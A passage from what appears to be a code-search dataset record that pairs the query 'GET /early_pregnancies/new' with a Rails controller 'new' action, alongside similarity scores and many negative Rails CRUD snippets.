DESC\").paginate(:page => params[:page], :per_page => 20)\n\n render :json => eps.to_json\n end", "def show\n @venue = Venue.find(params[:id])\n @papers = @venue.papers.order(:listorder)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end", "def index\n @conflict_illnesses = ConflictIllness.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conflict_illnesses }\n end\n end", "def show\n render json: @nepal\n end", "def show\n @analyst = Analyst.find(params[:id])\n\n render json: @analyst\n end", "def show\n @exprience = Exprience.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exprience }\n end\n end", "def index\n @occupants = Occupant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @occupants }\n end\n end", "def show\n @nail_salon = NailSalon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nail_salon }\n end\n end", "def index\n render json: Loan.all\n end", "def show\n @early_vote_site = EarlyVoteSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @early_vote_site }\n end\n end", "def show\n @prioridade_adocao = PrioridadeAdocao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end", "def show\n @party = Party.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @party }\n end\n end", "def fetch_api_codewars_kata_info\n private_fetch_kata\n end", "def index\n @announces = Announce.not_finished.order(\"stime DESC\")\n\t\t@pannounces = Announce.finished.last_24_hours.limit(20).order(\"etime DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @announces }\n end\n end", "def show\n @cold_production_year = ColdProductionYear.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cold_production_year }\n end\n end" ]
[ "0.6607259", "0.5896155", "0.5757807", "0.5686196", "0.5648688", "0.5601559", "0.5581479", "0.5526163", "0.55183405", "0.54334307", "0.5431434", "0.53846765", "0.53814524", "0.5350196", "0.5338833", "0.5335959", "0.53309476", "0.53258055", "0.52821755", "0.5280087", "0.52772444", "0.52662593", "0.5264391", "0.5238491", "0.52384853", "0.523322", "0.52156526", "0.52156526", "0.5208925", "0.5203757", "0.5189818", "0.51886016", "0.5181813", "0.5180084", "0.51793146", "0.51759815", "0.5175891", "0.51642525", "0.5155385", "0.514908", "0.5142815", "0.5126067", "0.51251584", "0.51180726", "0.51143503", "0.51090854", "0.5104173", "0.509688", "0.50897235", "0.5089058", "0.50836736", "0.50828135", "0.50809073", "0.50794417", "0.50782675", "0.5067074", "0.5064265", "0.506135", "0.5059282", "0.50562483", "0.50530744", "0.50502765", "0.50498855", "0.50492835", "0.50488454", "0.504366", "0.5038855", "0.50326675", "0.5032616", "0.5030776", "0.5024673", "0.50241804", "0.50155824", "0.5011553", "0.5010241", "0.50098866", "0.50096494", "0.500822", "0.5008011", "0.5001927", "0.5001309", "0.5001204", "0.4997704", "0.49977025", "0.4994862", "0.49933806", "0.49894878", "0.498896", "0.49888003", "0.49853536", "0.49846977", "0.4981416", "0.4981197", "0.49774033", "0.49738324", "0.49728015", "0.49643934", "0.49613163", "0.4961196", "0.49587828" ]
0.7305416
0
GET /early_pregnancies/new GET /early_pregnancies/new.json
def new @early_pregnancy = EarlyPregnancy.new respond_to do |format| format.html # new.html.erb format.json { render json: @early_pregnancy } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @early_pregnancy = EarlyPregnancy.new(params[:early_pregnancy])\n\n respond_to do |format|\n if @early_pregnancy.save\n format.html { redirect_to @early_pregnancy, notice: 'Early pregnancy was successfully created.' }\n format.json { render json: @early_pregnancy, status: :created, location: @early_pregnancy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @early_pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @nlp = Nlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nlp }\n end\n end", "def new\n @precinct = Precinct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @precinct }\n end\n end", "def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end", "def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end", "def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end", "def new\n @national_rank = NationalRank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @national_rank }\n end\n end", "def new\n @anniversary = Anniversary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @anniversary }\n end\n end", "def new\n @preceed = Preceed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preceed }\n end\n end", "def new\n @residence = Residence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @residence }\n end\n end", "def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end", "def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end", "def new\n @pokeparty = Pokeparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pokeparty }\n end\n end", "def new\n @nail_salon = NailSalon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nail_salon }\n end\n end", "def new\n @ongoing = Ongoing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ongoing }\n end\n end", "def create\n @pregnancy = Pregnancy.new(pregnancy_params)\n\n respond_to do |format|\n if @pregnancy.save\n format.html { redirect_to @pregnancy, notice: 'Pregnancy was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pregnancy }\n else\n format.html { render action: 'new' }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @dependent_relationship = DependentRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dependent_relationship }\n end\n end", "def new\n @personnage = Personnage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personnage }\n end\n end", "def new\n @missing_person = MissingPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @missing_person }\n end\n end", "def new\n @inning = Inning.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inning }\n end\n end", "def new\n @pre = Pre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pre }\n end\n end", "def new\n @lineup = Lineup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineup }\n end\n end", "def new\n @pony = Pony.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pony }\n end\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def new\n @patent = Patent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patent }\n end\n end", "def new\n @official_tenure = OfficialTenure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @official_tenure }\n end\n end", "def new\n @county = County.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @county }\n end\n end", "def new\n @nursing_time = NursingTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nursing_time }\n end\n end", "def new\n @jurisdiction = Jurisdiction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jurisdiction }\n end\n end", "def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end", "def new\n @api_noun = Api::Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_noun }\n end\n end", "def new\n @nyan = Nyan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nyan }\n end\n end", "def new\n @vendor_relationship = VendorRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor_relationship }\n end\n end", "def new\n @income = Income.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @income }\n end\n end", "def new\n @person_interest = PersonInterest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person_interest }\n end\n end", "def new\n @village = Village.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @village }\n end\n end", "def new\n fetch_data\n @payment = Payment.new(:payment_date => Date.today)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment }\n end\n end", "def new\n @relation = Relation.new\n @personnages = Personnage.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relation }\n end\n end", "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end", "def new\n @breadcrumb = 'create'\n @insurance = Insurance.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @insurance }\n end\n end", "def new\n @undergraduate_major = UndergraduateMajor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @undergraduate_major }\n end\n end", "def new\n @notice = @person.notices.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notice }\n end\n end", "def new\n @rent = Rent.new\n @properties = AddProperty.find(:all, :conditions =>\" is_rented = 0 \");\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rent }\n end\n end", "def new\n @natulang = Natulang.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @natulang }\n end\n end", "def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lore }\n end\n end", "def new\n @nave = Nave.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nave }\n end\n end", "def new\n @encounter = Encounter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @encounter }\n end\n end", "def new\n @ninja = Ninja.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ninja }\n end\n end", "def new\n\t\t@project = Project.new({:project_state_type_id => ProjectStateType.find_by_code('preparation').id})\n\t\tputs @project.inspect\n\t\tmake_breadcrumbs\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @project }\n\t\tend\n\tend", "def new\n @partyrelationship = Partyrelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partyrelationship }\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n @unp = Unp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @unp }\n end\n end", "def new\n @breadcrumb = 'create'\n @entity = Entity.new\n @towns = towns_dropdown\n @provinces = provinces_dropdown\n @zipcodes = zipcodes_dropdown\n @regions = Region.order(:name)\n @countries = Country.order(:name)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n @territory = Territory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @territory }\n end\n end", "def new\n @prioridade_adocao = PrioridadeAdocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end", "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @person = Person.new\n set_person_attribute_defaults(@person)\n @provider = Provider.find(params[:provider_id]) unless params[:provider_id].blank?\n if @provider\n @person.person_provider_links.build(:psu_code => @psu_code,\n :provider => @provider,\n :person => @person,\n :is_active_code => 1)\n @person.sampled_persons_ineligibilities.build(:psu_code => @psu_code,\n :person => @person,\n :provider => @provider)\n end\n\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @person }\n end\n end", "def new\n\t\t@person = Person.new\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend", "def new\n @apprentice = Apprentice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @apprentice }\n end\n end", "def new\n @life_insurance = LifeInsurance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @life_insurance }\n end\n end", "def new\n @partner = Partner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partner }\n end\n end", "def new\n @year_insurances = YearInsurance.active.joins(:family)\n @reimbursement = Reimbursement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reimbursement }\n end\n end", "def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end", "def new\n @clinic = Clinic.new\n @packages = Package.all\n @pageType = \"new\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clinic }\n end\n end", "def new\n @planned_event = PlannedEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planned_event }\n end\n end", "def new\n @project = Project.new(user_id: current_user.id)\n find_people_list\n fetch_clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "def new\n @predict = Predict.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @predict }\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end", "def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end", "def new\n @income_entry = IncomeEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @income_entry }\n end\n end", "def new\n @trenton = Trenton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trenton }\n end\n end", "def new\n @entity = get_new()\n @verbindung = Verbindung.find(params[:verbindung_id])\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n puts 'NEW METHOD'\n @pessoa = Pessoa.new\n @pessoa.enderecos.build\n 2.times { @pessoa.telefones.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pessoa }\n end\n end", "def new\n @annex = Annex.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @annex }\n end\n end", "def new\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status }\n end\n end", "def new\n @neighborhood_topic = NeighborhoodTopic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood_topic }\n end\n end", "def new\n @railway = Railway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @railway }\n end\n end", "def new\n @request = Request.new\n @states = State.all()\n @request.requestor = Requestor.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @request }\n end\n end", "def new\n @preorder = Preorder.new\n @title = \"tugowa\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preorder }\n end\n end", "def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @approval }\n end\n end", "def new\n @family = Family.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family }\n end\n end", "def new\n @proficiency = Proficiency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proficiency }\n end\n end", "def new\n load_dependents\n @training_calendar = TrainingCalendar.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @training_calendar }\n end\n end", "def new\n @projecct = Projecct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projecct }\n end\n end", "def create\n @nepal = Nepal.new(nepal_params)\n\n if @nepal.save\n render json: @nepal, status: :created, location: @nepal\n else\n render json: @nepal.errors, status: :unprocessable_entity\n end\n end", "def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end", "def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end", "def new\n @needed_good = NeededGood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @needed_good }\n end\n end", "def new\n @pre_print_type = PrePrintType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pre_print_type }\n end\n end", "def new\n @pgn_file = PgnFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pgn_file }\n end\n end", "def new\n @person = Person.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @industry = Industry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @industry }\n end\n end", "def new\n @laundromat = Laundromat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laundromat }\n end\n end", "def new\n @notebook = Notebook.new\n render json: @notebook\n end", "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end", "def new\n @interesting = Interesting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interesting }\n end\n end", "def new\n @occupant = Occupant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @occupant }\n end\n end", "def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n doc_no = (RepairRecord.maximum(:doc_no).to_i || 0) + 1\n @repair_record = current_user.reported_repair_records.new(doc_no: doc_no)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repair_record }\n end\n end" ]
[ "0.71642154", "0.6592127", "0.658093", "0.6579997", "0.6573371", "0.65501714", "0.64037865", "0.63793546", "0.63466704", "0.63428956", "0.63062537", "0.63062537", "0.6297843", "0.62836426", "0.62761027", "0.6255826", "0.62323004", "0.6222083", "0.62170804", "0.62131166", "0.62125957", "0.6210517", "0.62018126", "0.61989796", "0.61922276", "0.6184838", "0.61805886", "0.61464673", "0.6141299", "0.6139317", "0.6130011", "0.61262697", "0.61154056", "0.6112555", "0.611128", "0.610938", "0.61070186", "0.6100789", "0.60982513", "0.6093025", "0.60906947", "0.60813826", "0.6078063", "0.6064906", "0.60632634", "0.6063157", "0.60607237", "0.6049397", "0.6048028", "0.6047246", "0.60443914", "0.6043843", "0.6042088", "0.6037872", "0.6035208", "0.60316247", "0.60280216", "0.60278636", "0.60268164", "0.60252166", "0.60245377", "0.6023519", "0.60160905", "0.6014741", "0.6012219", "0.60110635", "0.6005995", "0.6000668", "0.5997056", "0.5997056", "0.59959793", "0.59936965", "0.59936833", "0.5993184", "0.599301", "0.598819", "0.5985672", "0.5984125", "0.5983209", "0.59815556", "0.5980232", "0.59802246", "0.59774715", "0.5974788", "0.5974629", "0.5973945", "0.59710675", "0.59710675", "0.5969102", "0.5967503", "0.5962731", "0.59625727", "0.59587944", "0.5951289", "0.5950647", "0.59499824", "0.59480006", "0.59449", "0.59426177", "0.5940796" ]
0.7544288
0
POST /early_pregnancies POST /early_pregnancies.json
def create @early_pregnancy = EarlyPregnancy.new(params[:early_pregnancy]) respond_to do |format| if @early_pregnancy.save format.html { redirect_to @early_pregnancy, notice: 'Early pregnancy was successfully created.' } format.json { render json: @early_pregnancy, status: :created, location: @early_pregnancy } else format.html { render action: "new" } format.json { render json: @early_pregnancy.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @early_pregnancy = EarlyPregnancy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @early_pregnancy }\n end\n end", "def show\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @early_pregnancy }\n end\n end", "def create\n @pregnancy = Pregnancy.new(pregnancy_params)\n\n respond_to do |format|\n if @pregnancy.save\n format.html { redirect_to @pregnancy, notice: 'Pregnancy was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pregnancy }\n else\n format.html { render action: 'new' }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n\n respond_to do |format|\n if @early_pregnancy.update_attributes(params[:early_pregnancy])\n format.html { redirect_to @early_pregnancy, notice: 'Early pregnancy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @early_pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n @early_pregnancy.destroy\n\n respond_to do |format|\n format.html { redirect_to early_pregnancies_url }\n format.json { head :no_content }\n end\n end", "def previous_party_params\n params.require(:previous_party).permit(:party, :politician, :start_date, :end_date)\n end", "def create\n @pre_enrollment = PreEnrollment.new(pre_enrollment_params)\n\n respond_to do |format|\n if @pre_enrollment.save\n format.html { redirect_to @pre_enrollment, notice: 'Pre enrollment was successfully created.' }\n format.json { render :show, status: :created, location: @pre_enrollment }\n else\n format.html { render :new }\n format.json { render json: @pre_enrollment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @previous_party = PreviousParty.new(previous_party_params)\n\n respond_to do |format|\n if @previous_party.save\n format.html { redirect_to @previous_party, notice: 'Previous party was successfully created.' }\n format.json { render :show, status: :created, location: @previous_party }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @previous_party.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pregnancy = Pregnancy.new(pregnancy_params)\n @rabbit = @pregnancy.rabbit\n @cage = @rabbit.cage\n\n respond_to do |format|\n if @pregnancy.save\n format.html { redirect_to rabbit_pregnancies_path(@rabbit), notice: 'Inizio gravidanza registrato' }\n format.json { render :show, status: :created, location: @pregnancy }\n else\n format.html { render :new }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nepal = Nepal.new(nepal_params)\n\n if @nepal.save\n render json: @nepal, status: :created, location: @nepal\n else\n render json: @nepal.errors, status: :unprocessable_entity\n end\n end", "def create\n @penyelesaian = Penyelesaian.new(penyelesaian_params)\n\n unless params[:next_line].nil?\n @penyelesaian.status = \"Closed\"\n else\n @penyelesaian.status = \"Open\"\n end\n\n respond_to do |format|\n if @penyelesaian.save\n if params[:next_line]\n format.html { redirect_to \"/internals/\" + params[:penyelesaian][:id_rfc] + \"/new_internal\", notice: \"Penyelesaian was successfully created.\" }\n format.json { render :show, status: :created, location: @penyelesaian }\n else\n format.html { redirect_to rfc_path(params[:penyelesaian][:id_rfc]), notice: \"Penyelesaian was successfully created.\" }\n format.json { render :show, status: :created, location: @penyelesaian }\n end\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @penyelesaian.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_pregnancy\n @pregnancy = Pregnancy.find(params[:id])\n end", "def set_pregnancy\n @pregnancy = Pregnancy.find(params[:id])\n end", "def create\n @prenda = Prenda.new(prenda_params)\n\n respond_to do |format|\n if @prenda.save\n format.html { redirect_to @prenda, notice: 'Prenda was successfully created.' }\n format.json { render :show, status: :created, location: @prenda }\n else\n format.html { render :new }\n format.json { render json: @prenda.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pre_payment_req = PrePaymentReq.new(pre_payment_req_params)\n\n respond_to do |format|\n if @pre_payment_req.save\n format.html { redirect_to @pre_payment_req, notice: 'Pre payment req was successfully created.' }\n format.json { render :show, status: :created, location: @pre_payment_req }\n else\n format.html { render :new }\n format.json { render json: @pre_payment_req.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_parks_from_api\n url = \"https://developer.nps.gov/api/v1/parks?limit=500&api_key=GhGhpL8DrRdsEAwfu0Mn4gXuhgkdnhVnrEnNfmRx\"\n resp = RestClient.get(url)\n json_hash = JSON.parse(resp)\n park_codes = []\n\n json_hash.each do |data_key, value|\n if data_key[\"data\"]\n value.each do |hash_keys|\n Park.create(park_name: hash_keys[\"fullName\"], park_code: hash_keys[\"parkCode\"])\n \n end\n end\n end\n\nend", "def create\n @preceed = Preceed.new(params[:preceed])\n\n respond_to do |format|\n if @preceed.save\n format.html { redirect_to @preceed, notice: 'Preceed was successfully created.' }\n format.json { render json: @preceed, status: :created, location: @preceed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @official_tenure = OfficialTenure.new(params[:official_tenure])\n\n respond_to do |format|\n if @official_tenure.save\n format.html { redirect_to @official_tenure, notice: 'Official tenure was successfully created.' }\n format.json { render json: @official_tenure, status: :created, location: @official_tenure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @official_tenure.errors, status: :unprocessable_entity }\n end\n end\n end", "def adding_to_national_ser(record)\n if record[:provisionScope].size < 2\n return Logging.logger.error 'Aborting Post to Inera/NS, provisionScope doesn\\'t have the required fields'\n end\n\n care_provider_id = record[:provisionScope][:organizationGroup][:id]\n care_unit_id = record[:provisionScope][:organization][:id]\n employee_id =\n if record[:provisionScope][:personnel][:id].blank?\n record[:createdBy] ? nil : record[:createdBy]\n else\n record[:provisionScope][:personnel][:id]\n end\n\n if employee_id.nil? || record[:effectivePeriod][:start].blank?\n return Logging.logger.error 'Aborting Post to Inera/NS, effective-period or employee-id can\\'t be empty.'\n end\n\n actor_type = {\n 'ns2:employeeId' => employee_id\n }\n assertion_id = record[:consentId]\n patient_id = record[:patientId]\n assertion_type = record[:consentReasonType]\n aliases = get_alias_by_patient_id(patient_id)\n return Logging.logger.error 'Aborting Post to Inera/NS, no aliases found!' if aliases[:value].blank?\n\n patient_id = {\n 'ns2:root' => aliases[:system],\n 'ns2:extension' => aliases[:value]\n }\n\n assertion_type =\n if assertion_type == 'PATIENT_GRANTED'\n 'Consent'\n elsif assertion_type == 'EMERGENCY_ACCESS'\n 'Emergency'\n else\n 'NOT_FOUND'\n end\n\n registration_action = {\n 'ns2:requestDate' => record[:effectivePeriod][:start],\n 'ns2:requestedBy' => actor_type,\n 'ns2:registrationDate' => record[:effectivePeriod][:start],\n 'ns2:registeredBy' => actor_type,\n 'ns2:reasonText' => record[:emergencyConsentReason]\n }\n body = {\n 'ns3:assertionId' => assertion_id,\n 'ns3:assertionType' => assertion_type,\n 'ns3:scope' => ENV['SCOPE'],\n 'ns3:patientId' => patient_id,\n 'ns3:careProviderId' => care_provider_id,\n 'ns3:careUnitId' => care_unit_id,\n 'ns3:employeeId' => employee_id,\n 'ns3:startDate' => record[:effectivePeriod][:start],\n 'ns3:endDate' => record[:effectivePeriod][:end],\n 'ns3:registrationAction' => registration_action\n }\n\n # Send new mapped consent records to national service\n begin\n conn = post_national_consent_service\n response = make_soap_connection(conn, :register_extended_consent, body)\n post_result = response.body[:register_extended_consent_response][:result]\n\n unless post_result[:result_code] == ENV['SOAP_RESPONSE']\n Logging.logger.error \"POST to Inera/NS failed with error code: '#{post_result[:result_code]}'\" \\\n \" and text '#{post_result[:result_text]}'\"\n end\n post_result[:result_code]\n rescue NoMethodError => e\n Logging.logger.error \"Invalid response from National Service(POST)! #{e.inspect}\"\n raise e, 'Invalid response from National Service(POST)!'\n end\n end", "def create\n @english_country_residence = EnglishCountryResidence.new(english_country_residence_params)\n\n respond_to do |format|\n if @english_country_residence.save\n format.html { redirect_to @english_country_residence, notice: 'English country residence was successfully created.' }\n format.json { render :show, status: :created, location: @english_country_residence }\n else\n format.html { render :new }\n format.json { render json: @english_country_residence.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @preceed = Preceed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preceed }\n end\n end", "def create\n @prioridad = Prioridad.new(prioridad_params)\n\n respond_to do |format|\n if @prioridad.save\n format.html { redirect_to @prioridad, notice: 'Se ha creado una nueva Prioridad.' }\n format.json { render :show, status: :created, location: @prioridad }\n else\n format.html { render :new }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prioridade = Prioridade.new(params[:prioridade])\n\n respond_to do |format|\n if @prioridade.save\n format.html { redirect_to @prioridade, notice: 'Prioridade was successfully created.' }\n format.json { render json: @prioridade, status: :created, location: @prioridade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @early_access_request = EarlyAccessRequest.new(early_access_request_params)\n\n respond_to do |format|\n if @early_access_request.save\n format.html { redirect_to root_path, notice: 'Danke für die Registrierung. Wir melden uns bei dir.' }\n format.json { render :show, status: :created, location: @early_access_request }\n else\n format.html { render :new }\n format.json { render json: @early_access_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def party_japan_params\n params.require(:party_japan).permit(:event_url, :main_image_url, :venue_name, :postalcode, :prefecture_name, :address, :event_date_time, :title, :description, :reservation_state_for_male, :reservation_state_for_female, :price_for_male, :price_for_female, :eligibility_for_male, :eligibility_for_female, :age_range_for_male, :age_range_for_female, :important_reminder, :all_images_link)\n end", "def pregnancy_params\n params.require(:pregnancy).permit(:starting_at, :ending_at, :rabbit_id, :rabbits_size)\n end", "def upcoming_births\n @pregnant_participants = Participant.upcoming_births.select { |participant| participant.known_to_be_pregnant? }.sort_by { |e| e.due_date.to_s }\n end", "def create\n @application = Application.new(application_params)\n\n if @application.save\n @application.status = Application.where(nursery_id: @application.nursery_id, date: @application.date, status: :appointed).count < @application.nursery.capacity ? :appointed : :waiting\n @application.save\n render :show, status: :created, location: @application\n else\n render json: @application.errors, status: :unprocessable_entity\n end\n end", "def create\n\n \t\t\t@penalty = Penalty.new penalty_params\n\n \t\t\tif @penalty.save\n\n \t\t\t\trender json: @penalty,status: :created\n\n \t\t\telse\n\n \t\t\t\trender json: {error: 